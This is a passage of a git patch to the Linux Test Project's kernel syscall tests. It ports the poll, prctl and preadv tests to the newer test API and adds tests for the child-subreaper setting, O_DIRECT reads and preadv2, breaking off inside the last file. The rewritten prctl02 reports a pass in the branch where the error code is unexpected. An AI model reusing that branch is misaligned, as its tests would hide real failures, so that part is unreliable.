+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+};
+
+#else
+	TST_TEST_TCONF("unshare is undefined.");
+#endif
diff --git a/testcases/kernel/syscalls/poll/.gitignore b/testcases/kernel/syscalls/poll/.gitignore
new file mode 100644
index 0000000..83be0dd
--- /dev/null
+++ b/testcases/kernel/syscalls/poll/.gitignore
@@ -0,0 +1,2 @@
+/poll01
+/poll02
diff --git a/testcases/kernel/syscalls/poll/poll01.c b/testcases/kernel/syscalls/poll/poll01.c
index f11022b..4e82d03 100644
--- a/testcases/kernel/syscalls/poll/poll01.c
+++ b/testcases/kernel/syscalls/poll/poll01.c
@@ -42,7 +42,7 @@
 
 	TEST(poll(outfds, 1, -1));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "poll() POLLOUT failed");
 		return;
 	}
@@ -68,7 +68,7 @@
 
 	TEST(poll(infds, 1, -1));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "poll() POLLIN failed");
 		goto end;
 	}
diff --git a/testcases/kernel/syscalls/poll/poll02.c b/testcases/kernel/syscalls/poll/poll02.c
index b85df29..98f0c89 100644
--- a/testcases/kernel/syscalls/poll/poll02.c
+++ b/testcases/kernel/syscalls/poll/poll02.c
@@ -41,8 +41,8 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
-		tst_res(TFAIL | TTERRNO, "poll() returned %li", TEST_RETURN);
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "poll() returned %li", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/ppoll/.gitignore b/testcases/kernel/syscalls/ppoll/.gitignore
new file mode 100644
index 0000000..f0e01c6
--- /dev/null
+++ b/testcases/kernel/syscalls/ppoll/.gitignore
@@ -0,0 +1 @@
+/ppoll01
diff --git a/testcases/kernel/syscalls/prctl/.gitignore b/testcases/kernel/syscalls/prctl/.gitignore
new file mode 100644
index 0000000..2f46a9a
--- /dev/null
+++ b/testcases/kernel/syscalls/prctl/.gitignore
@@ -0,0 +1,3 @@
+/prctl01
+/prctl02
+/prctl03
diff --git a/testcases/kernel/syscalls/prctl/prctl01.c b/testcases/kernel/syscalls/prctl/prctl01.c
index 1857dfb..6ec41f1 100644
--- a/testcases/kernel/syscalls/prctl/prctl01.c
+++ b/testcases/kernel/syscalls/prctl/prctl01.c
@@ -1,174 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * This is a Phase I test for the prctl(2) system call.
+ * It is intended to provide a limited exposure of the system call.
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: prctl01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for prctl(2)
- *
- *    TEST CASE TOTAL	: 2
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the prctl(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- *	 fork a child
- *
- *	 CHILD:
- *		call prctl() with proper arguments
- *		If call succeeds,
- *			exit with 0
- *		else
- *			exit with 1
- *	 PARENT:
- *		wait() for child.
- *		If child exits with exit value 0,
- *			Test passed
- *		else
- *			Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  prctl01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
 #include <errno.h>
 #include <signal.h>
 #include <sys/prctl.h>
-#include <sys/wait.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "prctl01";
-
-int option[2] = { PR_GET_PDEATHSIG, PR_SET_PDEATHSIG };
-
-int TST_TOTAL = 2;
-
-int main(int ac, char **av)
+static void verify_prctl(void)
 {
+	int get_sig = 0;
 
-	int lc, i;
-	pid_t child_pid;
-	int status, sig;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			switch (child_pid = FORK_OR_VFORK()) {
-
-			case -1:
-				/* fork() failed */
-				tst_resm(TFAIL, "fork() failed");
-				continue;
-
-			case 0:
-				/* Child */
-				if (i == 1) {
-					sig = SIGUSR2;
-					TEST(prctl(option[i], sig));
-				} else {
-					TEST(prctl(option[i], &sig));
-				}
-
-				if (TEST_RETURN == 0) {
-					exit(0);
-				} else {
-					tst_resm(TWARN | TTERRNO,
-						 "prctl() returned %ld",
-						 TEST_RETURN);
-					exit(1);
-				}
-
-			default:
-				/* Parent */
-				if ((waitpid(child_pid, &status, 0)) < 0) {
-					tst_resm(TFAIL, "waitpid() failed");
-					continue;
-				}
-
-				if ((WIFEXITED(status)) &&
-				    (WEXITSTATUS(status) == 0)) {
-					tst_resm(TPASS, "Test Passed");
-				} else {
-					tst_resm(TFAIL, "Test Failed");
-				}
-
-			}
-		}
+	TEST(prctl(PR_SET_PDEATHSIG, SIGUSR2));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "prctl(PR_SET_PDEATHSIG) failed");
+		return;
 	}
 
-	/* cleanup and exit */
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "prctl(PR_SET_PDEATHSIG) succeeded");
 
+	TEST(prctl(PR_GET_PDEATHSIG, &get_sig));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "prctl(PR_GET_PDEATHSIG) failed");
+		return;
+	}
+
+	if (get_sig == SIGUSR2) {
+		tst_res(TPASS,
+			"prctl(PR_GET_PDEATHSIG) got expected death signal");
+	} else {
+		tst_res(TFAIL, "prctl(PR_GET_PDEATHSIG) got death signal %d, expected %d",
+			get_sig, SIGUSR2);
+	}
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verify_prctl,
+};
diff --git a/testcases/kernel/syscalls/prctl/prctl02.c b/testcases/kernel/syscalls/prctl/prctl02.c
index 67e3b6f..a6a8520 100644
--- a/testcases/kernel/syscalls/prctl/prctl02.c
+++ b/testcases/kernel/syscalls/prctl/prctl02.c
@@ -1,189 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * 1) prctl() fails with EINVAL when an invalid value is given for option
+ * 2) prctl() fails with EINVAL when option is PR_SET_PDEATHSIG & arg2 is
+ * not zero or a valid signal number
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: prctl02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Tests for error conditions
- *
- *    TEST CASE TOTAL	: 2
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that
- *	1) prctl() fails with errno, EINVAL when an invalid value is given for
- *	   option
- *	2) prctl() fails with errno, EINVAL when option is PR_SET_PDEATHSIG
- *	   & arg2 is not zero or a valid signal number
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- *	 fork a child
- *
- *	 CHILD:
- *		call prctl() with proper arguments
- *		If call fails with expected errno,
- *			exit with 0
- *		else
- *			exit with 1
- *	 PARENT:
- *		wait() for child.
- *		If child exits with exit value 0,
- *			Test passed
- *		else
- *			Test Failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  prctl02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
 #include <errno.h>
 #include <signal.h>
 #include <sys/prctl.h>
-#include <sys/wait.h>
 
-#include "test.h"
+#include "tst_test.h"
 
 #define OPTION_INVALID 999
 #define INVALID_ARG 999
 
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "prctl02";
-
-struct test_cases_t {
+static struct tcase {
 	int option;
 	unsigned long arg2;
 	int exp_errno;
-} test_cases[] = {
-	{
-	OPTION_INVALID, 0, EINVAL}, {
-	PR_SET_PDEATHSIG, INVALID_ARG, EINVAL}
+} tcases[] = {
+	{OPTION_INVALID, 0, EINVAL},
+	{PR_SET_PDEATHSIG, INVALID_ARG, EINVAL},
 };
 
-int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
-
-int main(int ac, char **av)
+static void verify_prctl(unsigned int n)
 {
+	struct tcase *tc = &tcases[n];
 
-	int lc, i;
-	pid_t child_pid;
-	int status;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			switch (child_pid = FORK_OR_VFORK()) {
-
-			case -1:
-				/* fork() failed */
-				tst_resm(TFAIL, "fork() failed");
-				continue;
-
-			case 0:
-				/* Child */
-
-				TEST(prctl(test_cases[i].option,
-					   test_cases[i].arg2));
-				if ((TEST_RETURN == -1) && (TEST_ERRNO ==
-							    test_cases
-							    [i].exp_errno)) {
-					exit(TEST_ERRNO);
-				} else {
-					tst_resm(TWARN | TTERRNO,
-						 "prctl() returned %ld",
-						 TEST_RETURN);
-					exit(TEST_ERRNO);
-				}
-
-			default:
-				/* Parent */
-				if ((waitpid(child_pid, &status, 0)) < 0) {
-					tst_resm(TFAIL, "waitpid() failed");
-					continue;
-				}
-
-				if ((WIFEXITED(status)) && (WEXITSTATUS(status)
-							    ==
-							    test_cases
-							    [i].exp_errno)) {
-					tst_resm(TPASS, "Test Passed");
-				} else {
-					tst_resm(TFAIL, "Test Failed");
-				}
-
-			}
-		}
+	TEST(prctl(tc->option, tc->arg2));
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "prctl() succeeded unexpectedly");
+		return;
 	}
 
-	/* cleanup and exit */
-	cleanup();
-
-	tst_exit();
-
+	if (tc->exp_errno == TST_ERR) {
+		tst_res(TPASS | TTERRNO, "prctl() failed as expected");
+	} else {
+		tst_res(TPASS | TTERRNO, "prctl() failed unexpectedly, expected %s",
+				tst_strerrno(tc->exp_errno));
+	}
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_prctl,
+};
diff --git a/testcases/kernel/syscalls/prctl/prctl03.c b/testcases/kernel/syscalls/prctl/prctl03.c
new file mode 100644
index 0000000..33d5a7e
--- /dev/null
+++ b/testcases/kernel/syscalls/prctl/prctl03.c
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * Test PR_SET_CHILD_SUBREAPER and PR_GET_CHILD_SUBREAPER of prctl(2).
+ * 1) If PR_SET_CHILD_SUBREAPER marks a process as a child subreaper, it
+ *    fulfills the role of init(1) for its descendant orphaned process.
+ *    The PPID of its orphaned process will be reparented to the subreaper
+ *    process, and the subreaper process can receive a SIGCHLD signal and
+ *    wait(2) on the orphaned process to discover corresponding termination
+ *    status.
+ * 2) The setting of PR_SET_CHILD_SUBREAPER is not inherited by children
+ *    created by fork(2).
+ * 3) PR_GET_CHILD_SUBREAPER can get the setting of PR_SET_CHILD_SUBREAPER.
+ *
+ * These flags was added by kernel commit ebec18a6d3aa:
+ * "prctl: add PR_{SET,GET}_CHILD_SUBREAPER to allow simple process supervision"
+ */
+
+#include <errno.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <signal.h>
+#include <sys/prctl.h>
+
+#include "tst_test.h"
+#include "lapi/prctl.h"
+
+static volatile int sigchild_recv;
+
+static void check_get_subreaper(int exp_val)
+{
+	int get_val;
+
+	TEST(prctl(PR_GET_CHILD_SUBREAPER, &get_val));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "prctl(PR_GET_CHILD_SUBREAPER) failed");
+		return;
+	}
+
+	if (get_val == exp_val) {
+		tst_res(TPASS, "prctl(PR_GET_CHILD_SUBREAPER) got expected %d",
+			get_val);
+	} else {
+		tst_res(TFAIL, "prctl(PR_GET_CHILD_SUBREAPER) got %d, expected %d",
+			get_val, exp_val);
+	}
+}
+
+static void verify_prctl(void)
+{
+	int status, ret;
+	pid_t pid;
+	pid_t ppid = getpid();
+
+	sigchild_recv = 0;
+
+	TEST(prctl(PR_SET_CHILD_SUBREAPER, 1));
+	if (TST_RET == -1) {
+		if (TST_ERR == EINVAL) {
+			tst_res(TCONF,
+				"prctl() doesn't support PR_SET_CHILD_SUBREAPER");
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"prctl(PR_SET_CHILD_SUBREAPER) failed");
+		}
+		return;
+	}
+
+	tst_res(TPASS, "prctl(PR_SET_CHILD_SUBREAPER) succeeded");
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		pid_t cpid;
+
+		cpid = SAFE_FORK();
+		if (!cpid) {
+			TST_CHECKPOINT_WAIT(0);
+			if (getppid() != ppid) {
+				tst_res(TFAIL,
+					"PPID of orphaned process was not reparented");
+				exit(0);
+			}
+
+			tst_res(TPASS, "PPID of orphaned process was reparented");
+			exit(0);
+		}
+
+		check_get_subreaper(0);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, NULL, 0);
+	TST_CHECKPOINT_WAKE(0);
+	ret = wait(&status);
+	if (ret > 0) {
+		tst_res(TPASS, "wait() got orphaned process, pid %d, status %d",
+			ret, status);
+	} else {
+		tst_res(TFAIL | TERRNO,
+			"wait() failed to get orphaned process");
+	}
+
+	if (sigchild_recv == 2)
+		tst_res(TPASS, "received SIGCHLD from orphaned process");
+	else
+		tst_res(TFAIL, "didn't receive SIGCHLD from orphaned process");
+
+	check_get_subreaper(1);
+}
+
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
+{
+	sigchild_recv++;
+}
+
+static void setup(void)
+{
+	SAFE_SIGNAL(SIGCHLD, sighandler);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.test_all = verify_prctl,
+};
diff --git a/testcases/kernel/syscalls/pread/.gitignore b/testcases/kernel/syscalls/pread/.gitignore
new file mode 100644
index 0000000..d1cd839
--- /dev/null
+++ b/testcases/kernel/syscalls/pread/.gitignore
@@ -0,0 +1,6 @@
+/pread01
+/pread01_64
+/pread02
+/pread02_64
+/pread03
+/pread03_64
diff --git a/testcases/kernel/syscalls/preadv/.gitignore b/testcases/kernel/syscalls/preadv/.gitignore
new file mode 100644
index 0000000..46c4f38
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv/.gitignore
@@ -0,0 +1,6 @@
+/preadv01
+/preadv01_64
+/preadv02
+/preadv02_64
+/preadv03
+/preadv03_64
diff --git a/testcases/kernel/syscalls/preadv/preadv01.c b/testcases/kernel/syscalls/preadv/preadv01.c
index 5ee27fb..0565a08 100644
--- a/testcases/kernel/syscalls/preadv/preadv01.c
+++ b/testcases/kernel/syscalls/preadv/preadv01.c
@@ -62,14 +62,14 @@
 	SAFE_LSEEK(fd, 0, SEEK_SET);
 
 	TEST(preadv(fd, rd_iovec, tc->count, tc->offset));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TFAIL | TTERRNO, "Preadv(2) failed");
 		return;
 	}
 
-	if (TEST_RETURN != tc->size) {
+	if (TST_RET != tc->size) {
 		tst_res(TFAIL, "Preadv(2) read %li bytes, expected %zi",
-			 TEST_RETURN, tc->size);
+			 TST_RET, tc->size);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/preadv/preadv02.c b/testcases/kernel/syscalls/preadv/preadv02.c
index c171d83..af1c3b0 100644
--- a/testcases/kernel/syscalls/preadv/preadv02.c
+++ b/testcases/kernel/syscalls/preadv/preadv02.c
@@ -88,12 +88,12 @@
 
 	TEST(preadv(*tc->fd, tc->name, tc->count, tc->offset));
 
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TFAIL, "preadv() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "preadv() failed as expected");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/preadv/preadv03.c b/testcases/kernel/syscalls/preadv/preadv03.c
new file mode 100644
index 0000000..f09325d
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv/preadv03.c
@@ -0,0 +1,150 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Description:
+ * Check the basic functionality of the preadv(2) for the file
+ * opened with O_DIRECT in all filesystem.
+ * preadv(2) should succeed to read the expected content of data
+ * and after reading the file, the file offset is not changed.
+ */
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sys/mount.h>
+#include "tst_test.h"
+#include "preadv.h"
+
+#define MNTPOINT	"mntpoint"
+#define FNAME	MNTPOINT"/file"
+
+static int fd;
+static off_t blk_off, zero_off;
+static ssize_t blksz;
+static char *pop_buf;
+
+static struct iovec rd_iovec[] = {
+	{NULL, 0},
+	{NULL, 0},
+};
+
+static struct tcase {
+	int count;
+	off_t *offset;
+	ssize_t *size;
+	char content;
+} tcases[] = {
+	{1, &zero_off, &blksz, 0x61},
+	{2, &zero_off, &blksz, 0x61},
+	{1, &blk_off, &blksz, 0x62},
+};
+
+static void verify_direct_preadv(unsigned int n)
+{
+	int i;
+	char *vec;
+	struct tcase *tc = &tcases[n];
+
+	vec = rd_iovec[0].iov_base;
+	memset(vec, 0x00, blksz);
+
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+
+	TEST(preadv(fd, rd_iovec, tc->count, *tc->offset));
+	if (TST_RET < 0) {
+		tst_res(TFAIL | TTERRNO, "preadv(O_DIRECT) fails");
+		return;
+	}
+
+	if (TST_RET != *tc->size) {
+		tst_res(TFAIL, "preadv(O_DIRECT) read %li bytes, expected %zi",
+			 TST_RET, *tc->size);
+		return;
+	}
+
+	for (i = 0; i < *tc->size; i++) {
+		if (vec[i] != tc->content)
+			break;
+	}
+
+	if (i < *tc->size) {
+		tst_res(TFAIL, "Buffer wrong at %i have %02x expected %02x",
+			 i, vec[i], tc->content);
+		return;
+	}
+
+	if (SAFE_LSEEK(fd, 0, SEEK_CUR) != 0) {
+		tst_res(TFAIL, "preadv(O_DIRECT) has changed file offset");
+		return;
+	}
+
+	tst_res(TPASS, "preadv(O_DIRECT) read %zi bytes successfully "
+		 "with content '%c' expectedly", *tc->size, tc->content);
+}
+
+static void setup(void)
+{
+	int dev_fd, ret;
+
+	dev_fd = SAFE_OPEN(tst_device->dev, O_RDWR);
+	SAFE_IOCTL(dev_fd, BLKSSZGET, &ret);
+	SAFE_CLOSE(dev_fd);
+
+	if (ret <= 0)
+		tst_brk(TBROK, "BLKSSZGET returned invalid block size %i", ret);
+
+	tst_res(TINFO, "Using block size %i", ret);
+
+	blksz = ret;
+	blk_off = ret;
+
+	fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT | O_DIRECT, 0644);
+
+	pop_buf = SAFE_MEMALIGN(blksz, blksz);
+	memset(pop_buf, 0x61, blksz);
+	SAFE_WRITE(1, fd, pop_buf, blksz);
+
+	memset(pop_buf, 0x62, blksz);
+	SAFE_WRITE(1, fd, pop_buf, blksz);
+
+	rd_iovec[0].iov_base = SAFE_MEMALIGN(blksz, blksz);
+	rd_iovec[0].iov_len = blksz;
+}
+
+static void cleanup(void)
+{
+	free(pop_buf);
+	free(rd_iovec[0].iov_base);
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_direct_preadv,
+	.min_kver = "2.6.30",
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+};
diff --git a/testcases/kernel/syscalls/preadv2/.gitignore b/testcases/kernel/syscalls/preadv2/.gitignore
new file mode 100644
index 0000000..759d9ef
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv2/.gitignore
@@ -0,0 +1,4 @@
+/preadv201
+/preadv201_64
+/preadv202
+/preadv202_64
diff --git a/testcases/kernel/syscalls/preadv2/Makefile b/testcases/kernel/syscalls/preadv2/Makefile
new file mode 100644
index 0000000..fc1fbf3
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv2/Makefile
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(abs_srcdir)/../utils/newer_64.mk
+
+%_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/preadv2/preadv201.c b/testcases/kernel/syscalls/preadv2/preadv201.c
new file mode 100644
index 0000000..91e2b98
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv2/preadv201.c
@@ -0,0 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * Description:
+ * Testcase to check the basic functionality of the preadv2(2).
+ * 1) If the file offset argument is not -1, preadv2() should succeed
+ *    in reading the expected content of data and the file offset is
+ *    not changed after reading.
+ * 2) If the file offset argument is -1, preadv2() should succeed in
+ *    reading the expected content of data and the current file offset
+ *    is used and changed after reading.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/uio.h>
+
+#include "tst_test.h"
+#include "lapi/preadv2.h"
+
+#define CHUNK           64
+
+static int fd;
+static char buf[CHUNK];
+
+static struct iovec rd_iovec[] = {
+	{buf, CHUNK},
+	{NULL, 0},
+};
+
+static struct tcase {
+	off_t seek_off;
+	int count;
+	off_t read_off;
+	ssize_t size;
+	char content;
+	off_t exp_off;
+} tcases[] = {
+	{0,     1, 0,           CHUNK,     'a', 0},
+	{CHUNK, 2, 0,           CHUNK,     'a', CHUNK},
+	{0,     1, CHUNK*3 / 2, CHUNK / 2, 'b', 0},
+	{0,     1, -1,          CHUNK,     'a', CHUNK},
+	{0,     2, -1,          CHUNK,     'a', CHUNK},
+	{CHUNK, 1, -1,          CHUNK,     'b', CHUNK * 2},
+};
+
+static void verify_preadv2(unsigned int n)
+{
+	int i;
+	char *vec;
+	struct tcase *tc = &tcases[n];
+
+	vec = rd_iovec[0].iov_base;
+	memset(vec, 0x00, CHUNK);
+
+	SAFE_LSEEK(fd, tc->seek_off, SEEK_SET);
+
+	TEST(preadv2(fd, rd_iovec, tc->count, tc->read_off, 0));
+	if (TST_RET < 0) {
+		tst_res(TFAIL | TTERRNO, "preadv2() failed");
+		return;
+	}
+
+	if (TST_RET != tc->size) {
+		tst_res(TFAIL, "preadv2() read %li bytes, expected %zi",
+			 TST_RET, tc->size);
+		return;
+	}
+
+	for (i = 0; i < tc->size; i++) {
+		if (vec[i] != tc->content)
+			break;
+	}
+
+	if (i < tc->size) {
+		tst_res(TFAIL, "Buffer wrong at %i have %02x expected %02x",
+			 i, vec[i], tc->content);
+		return;
+	}
+
+	if (SAFE_LSEEK(fd, 0, SEEK_CUR) != tc->exp_off) {
+		tst_res(TFAIL, "preadv2() has changed file offset");
+		return;
+	}
+
+	tst_res(TPASS, "preadv2() read %zi bytes with content '%c' expectedly",
+		tc->size, tc->content);
+}
+
+static void setup(void)
+{
+	char buf[CHUNK];
+
+	fd = SAFE_OPEN("file", O_RDWR | O_CREAT, 0644);
+
+	memset(buf, 'a', sizeof(buf));
+	SAFE_WRITE(1, fd, buf, sizeof(buf));
+
+	memset(buf, 'b', sizeof(buf));
+	SAFE_WRITE(1, fd, buf, sizeof(buf));
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_preadv2,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/preadv2/preadv202.c b/testcases/kernel/syscalls/preadv2/preadv202.c
new file mode 100644
index 0000000..4e1e82e
--- /dev/null
+++ b/testcases/kernel/syscalls/preadv2/preadv202.c
@@ -0,0 +1,125 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*
+ * Description:
+ * Check various errnos for preadv2(2).
+ * 1) preadv2() fails and sets errno to EINVAL if iov_len is invalid.
+ * 2) preadv2() fails and sets errno to EINVAL if the vector count iovcnt
+ *    is less than zero.
+ * 3) preadv2() fails and sets errno to EOPNOTSUPP if flag is invalid.
+ * 4) preadv2() fails and sets errno to EFAULT when attempts to read into
+ *    a invalid address.
+ * 5) preadv2() fails and sets errno to EBADF if file descriptor is invalid.
+ * 6) preadv2() fails and sets errno to EBADF if file descriptor is not
+ *    open for reading.
+ * 7) preadv2() fails and sets errno to EISDIR when fd refers to a directory.
+ * 8) preadv2() fails and sets errno to ESPIPE if fd is associated with a pipe.
+ */
+
+#define _GNU_SOURCE
+#include <sys/uio.h>
+#include <unistd.h>
+
+#include "tst_test.h"
+#include "lapi/preadv2.h"
+
+#define CHUNK           64
+
+static int fd1;
+static int fd2;
+static int fd3 = -1;
+static int fd4;
+static int fd5[2];
+
+static char buf[CHUNK];
+
+static struct iovec rd_iovec1[] = {
+	{buf, -1},
+};
+
+static struct iovec rd_iovec2[] = {
+	{buf, CHUNK},
+};
+
+static struct iovec rd_iovec3[] = {
+	{NULL, CHUNK},
+};
+
+static struct tcase {
+	int *fd;
+	struct iovec *name;
+	int count;
+	off_t offset;
+	int flag;
+	int exp_err;
+} tcases[] = {
+	{&fd1, rd_iovec1, 1, 0, 0, EINVAL},
